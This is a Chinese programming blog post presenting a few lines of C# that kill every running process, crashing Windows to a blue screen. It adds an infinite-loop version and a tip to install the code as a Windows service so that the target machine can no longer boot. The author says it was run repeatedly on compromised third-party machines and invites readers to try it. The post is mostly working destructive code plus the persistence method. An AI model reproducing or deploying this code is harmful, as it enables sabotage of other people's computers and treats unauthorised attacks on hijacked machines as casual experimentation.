您的位置:首页 > 编程语言 > C#

真没想到3行纯c#代码就造成死机,竟如此容易,还是最新的卡巴麦咖啡

2008-09-29 12:34 441 查看
try{foreach (Process p in Process.GetProcesses())
{try{if (p.Id != Process.GetCurrentProcess().Id)
p.Kill();}catch { }} }catch { }

这样就能死机?没错这样就能死机!

测试环境

1、winxp sp3(及所有关键、推荐更新)+卡巴2008最新病毒库 虚拟机里

2、win2003sp2(及所有关键、推荐更新)+今天刚装的最新的mcafee8.7企业版+antispyware 真机里

起因,今天没事在虚拟机测试者玩就这3行代码看看运行什么样的,本以为只能退出一些无关紧要的程序+出来一些错误提示而已,没想到一运行马上蓝屏就死机了,重启虚拟机又试,结果又马上就蓝屏死机,于是我想虚拟机系统本身有几个进程是虚拟机自带的是不是这个kill后造成系统失败呢,我就关上虚拟机在我的真机里测试。今天装的刚新出的mcafee8.7企业版,运行后系统的主题没有了,成了经典主体了,一般系统错误比较严重的时候出现这种情况。又马上运行一次,这次蓝屏死机了。真没想到造成死机这么容易,也没想到process.kill()如此的强劲,我有点肃然起敬,因为原来我感觉.net下面封装的类都是非常安全权限很低的,它把一些稍微危险的操作都去掉了,所以动不动就得找api的。

话说回来了,在真机里不是马上蓝屏是第二次执行的时候蓝屏的,不过这两次执行相隔不到2秒,那么改成这样就行了

while (true)
{
try{foreach (Process p in Process.GetProcesses())
{try{if (p.Id != Process.GetCurrentProcess().Id)
p.Kill();}catch { }} }catch { }
}

刚刚测试,绝无瞎话,由于很兴奋故上来打打字,大家有兴趣可以测试一下玩玩。

=========================

补充上午忘了一句p.Id != Process.GetCurrentProcess().Id就是说如果是本进程id就不kill,并且死循环,一点就会马上死机了,我在本机、虚拟机试了很多次,并在肉鸡试过很多次,屡试不爽。必须要加try catch,否则当遇到不能结束的进程什么的一报错本程序就崩溃了。

如果新建一个win服务程序,并在onstart的地方写上这段代码,并给某机器注册服务并启动,那么他的机器就再也启不来了,因为每次启动还没登陆的时候就死机了(已在某南棒肉鸡上试验)。那么能不能通过安全模式来取消注册,我没敢试过不好说。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐